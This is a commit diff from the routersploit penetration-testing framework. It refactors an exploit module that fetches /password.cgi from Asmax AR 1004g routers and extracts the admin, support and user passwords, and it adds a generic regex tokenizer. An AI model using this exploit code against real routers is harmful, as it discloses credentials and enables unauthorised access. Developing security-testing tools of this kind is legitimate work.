Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
83eb1a61
Commit
83eb1a61
authored
Jul 16, 2016
by
fwkz
Browse files
Options
Browse Files
Download
Plain Diff
Merge branch 'dev'
parents
e13bfd38
206a70c0
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
39 additions
and
16 deletions
+39
-16
__init__.py
routersploit/__init__.py
+1
-0
ar_1004g_password_disclosure.py
...it/modules/exploits/asmax/ar_1004g_password_disclosure.py
+11
-15
utils.py
routersploit/utils.py
+27
-1
No files found.
routersploit/__init__.py
View file @
83eb1a61
...
...
@@ -13,6 +13,7 @@ from routersploit.utils import (
multi
,
index_modules
,
ssh_interactive
,
tokenize
,
)
from
routersploit
import
exploits
...
...
routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py
View file @
83eb1a61
import
re
from
routersploit
import
(
exploits
,
print_status
,
print_error
,
print_success
,
print_table
,
http_request
,
mute
,
validators
,
tokenize
,
)
...
...
@@ -39,21 +37,19 @@ class Exploit(exploits.Exploit):
creds
=
[]
url
=
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
try
:
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
.
text
except
AttributeError
:
return
admin
=
re
.
findall
(
"pwdAdmin = '(.+?)'"
,
response
.
text
)
if
admin
:
creds
.
append
((
'admin'
,
admin
[
0
]))
support
=
re
.
findall
(
"pwdSupport = '(.+?)'"
,
response
.
text
)
if
support
:
creds
.
append
((
'support'
,
support
[
0
]))
tokens
=
[
(
"Admin"
,
r"pwdAdmin = '(.+?)'"
),
(
"Support"
,
r"pwdSupport = '(.+?)'"
),
(
"User"
,
r"pwdUser = '(.+?)'"
)
]
user
=
re
.
findall
(
"pwdUser = '(.+?)'"
,
response
.
text
)
if
user
:
creds
.
append
((
'user'
,
user
[
0
]))
for
token
in
tokenize
(
tokens
,
response
):
creds
.
append
((
token
.
typ
,
token
.
value
[
-
1
]))
if
creds
:
print_success
(
"Credentials found!"
)
...
...
routersploit/utils.py
View file @
83eb1a61
...
...
@@ -4,9 +4,10 @@ from __future__ import absolute_import
import
threading
import
os
import
sys
import
re
import
collections
import
random
import
string
import
socket
import
importlib
import
select
import
socket
...
...
@@ -507,3 +508,28 @@ def windows_shell(chan):
chan
.
send
(
d
)
except
:
pass
def
tokenize
(
token_specification
,
text
):
Token
=
collections
.
namedtuple
(
'Token'
,
[
'typ'
,
'value'
,
'line'
,
'column'
,
'mo'
])
token_specification
.
extend
((
(
'NEWLINE'
,
r'\n'
),
# Line endings
(
'SKIP'
,
r'.'
),
# Any other character
))
tok_regex
=
'|'
.
join
(
'(?P<
%
s>
%
s)'
%
pair
for
pair
in
token_specification
)
line_num
=
1
line_start
=
0
for
mo
in
re
.
finditer
(
tok_regex
,
text
):
kind
=
mo
.
lastgroup
value
=
filter
(
lambda
x
:
x
is
not
None
,
mo
.
groups
())
if
kind
==
'NEWLINE'
:
line_start
=
mo
.
end
()
line_num
+=
1
elif
kind
==
'SKIP'
:
pass
else
:
column
=
mo
.
start
()
-
line_start
yield
Token
(
kind
,
value
,
line_num
,
column
,
mo
)
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment